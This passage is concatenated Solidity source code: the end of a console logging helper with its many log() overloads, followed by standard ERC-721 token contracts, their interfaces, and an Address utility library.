_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
